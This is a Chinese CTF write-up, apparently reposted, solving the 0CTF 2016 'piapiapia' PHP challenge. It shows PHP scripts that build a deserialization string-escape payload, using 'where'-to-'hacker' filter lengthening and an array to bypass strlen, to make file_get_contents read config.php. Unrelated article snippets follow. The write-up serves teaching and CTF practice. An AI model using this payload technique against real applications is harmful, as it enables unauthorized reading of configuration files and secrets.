0CTF 2016 piapiapia 1

news2025/3/17 13:27:05

#源码泄露 #代码审计 #反序列化字符逃逸 #strlen长度过滤数组绕过
www.zip 得到源码

请添加图片描述

看到这里有flag ,猜测服务端docker的主机里,$flag变量应该存的就是我们要的flag。

于是,我们的目的就是读取·config.php

利用思路

这里存在 任意文件读取漏洞

        $profile = unserialize($profile);

        $phone = $profile['phone'];

        $email = $profile['email'];

        $nickname = $profile['nickname'];

        $photo = base64_encode(file_get_contents($profile['photo']));

利用file_get_contents 读取文件

控制反序列化后的 photo

后面发现 要点不是控制photo 利用反序列化把他挤下去

追踪文件读取

大纲:

profile的值为 实例化的一个user类的对象,这个对象调用show_profile方法 处理username
其中,调用了一个父类的方法 filter 处理username ,然后在show_profile里进行sql查询,返回查询结果,这个结果最终返回到 profile.php 读取photo 部分并输出

可见,我们需要利用photo部分。
怎么用?我们就要追溯 update.php了 在那里,我们看到photo 的值是一个路径 ,在哪里 利用user的update_profile 方法

所以,我们在update.php下进行注入(数据操作)

追踪 update_profile 也 用 parent::filter 方法进行replace 然后调用父类的 parent::update 方法进行数据库交互 (数据更新)

详解: 下面是上面大纲的截取的部分详解

    public function update_profile($username, $new_profile) {

        $username = parent::filter($username);

        $new_profile = parent::filter($new_profile);

  

        $where = "username = '$username'";

        return parent::update($this->table, 'profile', $new_profile, $where);

    }

利用user类的update_profile 进行filter的更新

请添加图片描述

看到在update.php 路径下 存在update对 profile 的修改

存在过滤

以下是对这段代码的逐句解释:

if(!preg_match('/^\d{11}$/', $_POST['phone']))
    die('Invalid phone');
  1. 功能:验证用户提交的手机号是否符合11位数字的格式。
  2. 逻辑
    • preg_match('/^\d{11}$/', $_POST['phone']):使用正则表达式匹配$_POST['phone']的值。
      • ^\d{11}$:表示从字符串开头到结尾必须是恰好11位数字。
      • \d:匹配任意数字字符(0-9)。
      • {11}:表示前面的数字字符必须出现恰好11次。
    • 如果匹配失败(即手机号不符合11位数字的格式),preg_match返回false!preg_match的结果为true,执行die('Invalid phone'),程序终止并输出Invalid phone
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
    die('Invalid email');
  1. 功能:验证用户提交的邮箱地址是否符合简单的邮箱格式规则。
  2. 逻辑
    • preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']):使用正则表达式匹配$_POST['email']的值。
      • ^[_a-zA-Z0-9]{1,10}:邮箱的本地部分(@前面的部分),允许1到10个字符,字符可以是字母(大小写)、数字或下划线。
      • @:邮箱地址中的@符号。
      • [_a-zA-Z0-9]{1,10}:邮箱的域名部分(@后面到.的部分),允许1到10个字符,字符可以是字母(大小写)、数字或下划线。
      • \.:邮箱地址中的.符号。
      • [_a-zA-Z0-9]{1,10}$:邮箱的顶级域名部分(.后面的部分),允许1到10个字符,字符可以是字母(大小写)、数字或下划线。
    • 如果匹配失败(即邮箱格式不符合规则),preg_match返回false!preg_match的结果为true,执行die('Invalid email'),程序终止并输出Invalid email
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
    die('Invalid nickname');
  1. 功能:验证用户提交的昵称是否只包含字母、数字或下划线,并且长度不超过10个字符。
  2. 逻辑
    • preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']):使用正则表达式检查$_POST['nickname']中是否存在非字母、非数字、非下划线的字符。
      • [^a-zA-Z0-9_]:匹配任何不在a-zA-Z0-9_范围内的字符。
    • strlen($_POST['nickname']) > 10:检查昵称的长度是否超过10个字符。
    • 如果preg_match匹配到非法字符(返回true),或者昵称长度超过10个字符,整个条件表达式的结果为true,执行die('Invalid nickname'),程序终止并输出Invalid nickname
总结

这段代码的作用是对用户提交的表单数据进行简单的格式验证:

  1. 手机号必须是11位数字。
  2. 邮箱地址必须符合简单的格式规则(本地部分@域名部分.顶级域名部分)。
  3. 昵称只能包含字母、数字或下划线,且长度不超过10个字符。

如果任何一项验证失败,程序会立即终止并输出相应的错误信息。

        $file = $_FILES['photo'];

        if($file['size'] < 5 or $file['size'] > 1000000)

            die('Photo size error');

以下是对这段代码的逐句解释:

$file = $_FILES['photo'];
  1. 功能:获取通过HTTP POST上传的文件信息。
  2. 逻辑
    • $_FILES['photo'] 是一个关联数组,包含了用户上传文件的相关信息。
    • 'photo' 是表单中文件输入字段的名称,例如 <input type="file" name="photo">
    • $file 变量将存储文件的上传信息,包括临时文件名、原始文件名、文件大小、文件类型和错误信息等。
if($file['size'] < 5 or $file['size'] > 1000000)
    die('Photo size error');
  1. 功能:验证上传文件的大小是否在允许的范围内(5字节到1MB)。
  2. 逻辑
    • $file['size'] 是上传文件的大小,以字节为单位。
    • 条件 $file['size'] < 5 or $file['size'] > 1000000 检查文件大小是否小于5字节或大于1MB。
    • 如果条件成立(即文件大小不在允许范围内),执行 die('Photo size error'),程序终止并输出 Photo size error
总结

这段代码的作用是验证用户上传的文件(照片)的大小是否符合要求:

  • 文件大小必须在5字节到1MB之间。
  • 如果文件大小不符合要求,程序会立即终止并输出错误信息 Photo size error

注意事项

  1. 文件上传的安全性

    • 除了检查文件大小,还应该检查文件类型,确保只允许上传特定的文件类型(如图片)。
    • 可以使用 $file['type'] 或者更可靠的方法(如检查文件扩展名或文件头)来验证文件类型。
  2. 错误处理

    • 使用 die() 会直接终止脚本运行,可能不太适合用户友好的界面。可以考虑使用更友好的错误提示方式,例如将错误信息存储在变量中并重新渲染表单。
  3. 文件上传的其他检查

    • 检查 $_FILES['photo']['error'] 是否为 UPLOAD_ERR_OK,以确保文件上传过程中没有发生错误。
    • 检查文件是否真的被上传(即是否是一个临时文件)。

示例代码可以扩展为:

$file = $_FILES['photo'];

// 检查文件上传是否有错误
if ($file['error'] !== UPLOAD_ERR_OK) {
    die('File upload error');
}

// 检查文件大小
if ($file['size'] < 5 || $file['size'] > 1000000) {
    die('Photo size error');
}

// 检查文件类型
$allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($file['type'], $allowedTypes)) {
    die('Invalid file type');
}

// 其他处理逻辑...

这样可以更全面地确保文件上传的安全性和正确性。

replace

追踪 update_profile 用 parent::filter 方法


    public function filter($string) {

        $escape = array('\'', '\\\\');

        $escape = '/' . implode('|', $escape) . '/';

        $string = preg_replace($escape, '_', $string);

  

        $safe = array('select', 'insert', 'update', 'delete', 'where');

        $safe = '/' . implode('|', $safe) . '/i';

        return preg_replace($safe, 'hacker', $string);

    }

    public function __tostring() {

        return __class__;

    }

请添加图片描述

  • ! 到这里幡然醒悟,我们利用这里对 profile 的replace 进行反序列化

看到可利用where被替换,将有一个多出来

  • $ 这里肯定不能直接对photo进行修改,那就考虑nickname入口,先试着构造下
<?php
$profile['phone']='12345678901';
$profile['email']='for@example.com';
$profile['nickname']='";s:5:"photo";s:10:"config.php";}';
$profile['photo']='upload/43892f297aksddn84743894a0eiek69f';
var_dump(serialize($profile));
?>
"a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:15:"for@example.com";s:8:"nickname";s:33:"";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/43892f297aksddn84743894a0eiek69f";}"

数组序列化与类序列化的区别

  1. 序列化后的格式

    • 普通数组的序列化字符串以 a 开头,表示数组(array)。

    • 类的序列化字符串以 O 开头,表示对象(object),后面跟着类名和类的属性。

  2. 反序列化后的结果

    • 普通数组反序列化后是一个数组。

    • 类反序列化后是一个对象,且必须在当前脚本中定义了该类,否则会抛出错误。

  3. 类的特殊行为

    • 类可以定义魔术方法 __sleep()__wakeup() 来控制序列化和反序列化的过程。

    • __sleep() 在序列化之前被调用,可以返回一个包含对象中应被序列化的变量名称的数组。

    • __wakeup() 在反序列化之后被调用,可以用于重新初始化对象的属性。

请添加图片描述

超全局变量在这里实例化


我们继续:
我们要把上面那部分nickname逃逸出来

第一次过滤:
在uopdate里,存在对nickname的过滤

        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)

            die('Invalid nickname');

正则表达式/[^a-zA-Z0-9_]/用于匹配任何不在指定字符集中的字符。下面是对该正则表达式各部分的详细解释:
[[正则匹配原则]]
正则表达式分解

  1. /:正则表达式的开始和结束分界符。

  2. [^...]:表示一个字符集的取反,即匹配不在方括号内的任何字符。

  3. a-z:表示所有小写字母(从az)。

  4. A-Z:表示所有大写字母(从AZ)。

  5. 0-9:表示所有数字(从09)。

  6. _:表示下划线字符。

匹配的字符

该正则表达式将匹配任何不在以下集合中的字符:

  • 小写字母(az

  • 大写字母(AZ

  • 数字(09

  • 下划线(_

#strlen长度过滤数组绕过 我们用数组绕过

第二次过滤:
即上面的replace

本地调试:
我们要读config.php

"a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:15:"for@example.com";s:8:"nickname";s:33:"";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:11:"/config.php";}"

";s:5:“photo”;s:10:“config.php”;} 有33跟字符,所以我们需要33个·where

本地调试代码:

<?php
function filter($string){
    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}
$profile['phone']='12345678901';
$profile['email']='for@example.com';
$profile['nickname']='wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}';
$profile['photo']='upload/43892f297aksddn84743894a0eiek69f';

var_dump(filter(serialize($profile)));
?>

但看了wp ,还要把nickname数组化

<?php
function filter($string){
    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}
$a=array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}');
$profile['phone']='12345678901';
$profile['email']='for@example.com';
$profile['nickname']=$a;
$profile['photo']='upload/43892f297aksddn84743894a0eiek69f';

var_dump(filter(serialize($profile)));

"a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:15:"for@example.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/43892f297aksddn84743894a0eiek69f";}"

多了一个 } 所以要用34个where

解题

请添加图片描述

先注册个用户

请添加图片描述

可以看到,直接进到 update.php了

上传一个图片
请添加图片描述

抓包改name为数组

请添加图片描述

访问profile

f12
请添加图片描述

得到
请添加图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2316640.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

python_巨潮年报pdf下载

目录 前置&#xff1a; 步骤&#xff1a; step one: pip安装必要包&#xff0c;获取年报url列表 step two: 将查看url列表转换为pdf url step three: 多进程下载pdf 前置&#xff1a; 1 了解一些股票的基本面需要看历年年报&#xff0c;在巨潮一个个下载比较费时间&…

为什么需要使用十堰高防服务器?

十堰高防服务器的核心价值与应用必要性 一、‌应对复杂攻击的防御能力‌ ‌T级DDoS攻击防护‌ 十堰高防服务器搭载 ‌T级清洗中心‌&#xff0c;支持智能流量调度与分层处理&#xff0c;可抵御 ‌800Gbps-1.2Tbps‌ 的大规模混合攻击&#xff08;如SYN Flood、UDP反射&#xff…

人工智能中的线性代数基础详解

‌ 线性代数是人工智能领域的重要数学基础之一,是人工智能技术的底层数学支柱,它为数据表示、模型构建和算法优化提供了核心工具。其核心概念与算法应用贯穿数据表示、模型训练及优化全过程。更多内容可看我文章:人工智能数学基础详解与拓展-CSDN博客 一、基本介绍 …

【毕业论文格式】word分页符后的标题段前间距消失

文章目录 【问题描述】 分页符之后的段落开头&#xff0c;明明设置了标题有段前段后间距&#xff0c;但是没有显示间距&#xff1a; 【解决办法】 选中标题&#xff0c;选择边框 3. 选择段前间距&#xff0c;1~31磅的一个数 结果

【蓝桥杯每日一题】3.16

&#x1f3dd;️专栏&#xff1a; 【蓝桥杯备篇】 &#x1f305;主页&#xff1a; f狐o狸x 目录 3.9 高精度算法 一、高精度加法 题目链接&#xff1a; 题目描述&#xff1a; 解题思路&#xff1a; 解题代码&#xff1a; 二、高精度减法 题目链接&#xff1a; 题目描述&…

2.7 滑动窗口专题:串联所有单词的子串

LeetCode 30. 串联所有单词的子串算法对比分析 1. 题目链接 LeetCode 30. 串联所有单词的子串 2. 题目描述 给定一个字符串 s 和一个字符串数组 words&#xff0c;words 中所有单词长度相同。要求找到 s 中所有起始索引&#xff0c;使得从该位置开始的连续子串包含 words 中所…

电脑实用小工具--VMware常用功能简介

一、创建、编辑虚拟机 1.1 创建新的虚拟机 详见文章新创建虚拟机流程 1.2 编辑虚拟机 创建完成后&#xff0c;点击编辑虚拟机设置&#xff0c;可对虚拟机内存、处理器、硬盘等各再次进行编辑设置。 二、虚拟机开关机 2.1 打开虚拟机 虚拟机创建成功后&#xff0c;点击…

为训练大模型而努力-分享2W多张卡通头像的图片

最近我一直在研究AI大模型相关的内容&#xff0c;想着从现在开始慢慢收集各种各样的图片&#xff0c;万一以后需要训练大模型的时候可以用到&#xff0c;或者自己以后也许会需要。于是决定慢慢收集这些图片&#xff0c;为未来的学习和训练大模型做一些铺垫&#xff0c;哈哈。 …

JVM 垃圾回收器的选择

一&#xff1a;jvm性能指标吞吐量以及用户停顿时间解释。 二&#xff1a;垃圾回收器的选择。 三&#xff1a;垃圾回收器在jvm中的配置。 四&#xff1a;jvm中常用的gc算法。 一&#xff1a;jvm性能指标吞吐量以及用户停顿时间解释。 在 JVM 调优和垃圾回收器选择中&#xff0…

使用GPTQ量化Llama-3-8B大模型

使用GPTQ量化8B生成式语言模型 服务器配置&#xff1a;4*3090 描述&#xff1a;使用四张3090&#xff0c;分别进行单卡量化&#xff0c;多卡量化。并使用SGLang部署量化后的模型&#xff0c;使用GPTQ量化 原来的模型精度为FP16&#xff0c;量化为4bit 首先下载gptqmodel量化…

2025-03-16 学习记录--C/C++-PTA 习题4-2 求幂级数展开的部分和

合抱之木&#xff0c;生于毫末&#xff1b;九层之台&#xff0c;起于累土&#xff1b;千里之行&#xff0c;始于足下。&#x1f4aa;&#x1f3fb; 一、题目描述 ⭐️ 习题4-2 求幂级数展开的部分和 已知函数e^x可以展开为幂级数1xx^2/2!x^3/3!⋯x^k/k!⋯。现给定一个实数x&a…

【C#】Http请求设置接收不安全的证书

在进行HTTP请求时&#xff0c;出现以下报错&#xff0c;可设置接收不安全证书跳过证书验证&#xff0c;建议仅测试环境设置&#xff0c;生产环境可能会造成系统漏洞 /// <summary> /// HttpGet请求方法 /// </summary> /// <param name"requestUrl"&…

AP AR

混淆矩阵 真实值正例真实值负例预测值正例TPFP预测值负例FNTN &#xff08;根据阈值预测&#xff09; P精确度计算&#xff1a;TP/(TPFP) R召回率计算&#xff1a;TP/(TPFN) AP 综合考虑P R 根据不同的阈值计算出不同的PR组合&#xff0c; 画出PR曲线&#xff0c;计算曲线…

Leetcode-1278.Palindrome Partitioning III [C++][Java]

目录 一、题目描述 二、解题思路 【C】 【Java】 Leetcode-1278.Palindrome Partitioning IIIhttps://leetcode.com/problems/palindrome-partitioning-iii/description/1278. 分割回文串 III - 力扣&#xff08;LeetCode&#xff09;1278. 分割回文串 III - 给你一个由小写…

C++特性——智能指针

为什么需要智能指针 对于定义的局部变量&#xff0c;当作用域结束之后&#xff0c;就会自动回收&#xff0c;这没有什么问题。 当时用new delete的时候&#xff0c;就是动态分配对象的时候&#xff0c;如果new了一个变量&#xff0c;但却没有delete&#xff0c;这会造成内存泄…

ctf web入门知识合集

文章目录 01做题思路02信息泄露及利用robots.txt.git文件泄露dirsearch ctfshow做题记录信息搜集web1web2web3web4web5web6web7web8SVN泄露与 Git泄露的区别web9web10 php的基础概念php的基础语法1. PHP 基本语法结构2. PHP 变量3.输出数据4.数组5.超全局变量6.文件操作 php的命…

MySQL-存储过程和自定义函数

存储过程 存储过程&#xff0c;一组预编译的 SQL 语句和流程控制语句&#xff0c;被命名并存储在数据库中。存储过程可以用来封装复杂的数据库操作逻辑&#xff0c;并在需要时进行调用。 使用存储过程 创建存储过程 create procedure 存储过程名() begin存储过程的逻辑代码&…

图——表示与遍历

图的两种主要表示方法 图有两种常用的表示方法&#xff0c;一种是邻接表法&#xff08;adjacency-list&#xff09;&#xff0c;另一种是邻接矩阵法&#xff08;adjacency-matrix&#xff09;。 邻接表法储存数据更紧凑&#xff0c;适合稀疏的图&#xff08;sparse graphs&am…

新手村:数据预处理-异常值检测方法

机器学习中异常值检测方法 一、前置条件 知识领域要求编程基础Python基础&#xff08;变量、循环、函数&#xff09;、Jupyter Notebook或PyCharm使用。统计学基础理解均值、中位数、标准差、四分位数、正态分布、Z-score等概念。机器学习基础熟悉监督/无监督学习、分类、聚类…

ChatGPT-4

第一章&#xff1a;ChatGPT-4的技术背景与核心架构 1.1 生成式AI的发展脉络 生成式人工智能&#xff08;Generative AI&#xff09;的演进历程可追溯至20世纪50年代的早期自然语言处理研究。从基于规则的ELIZA系统到统计语言模型&#xff0c;再到深度学习的革命性突破&#x…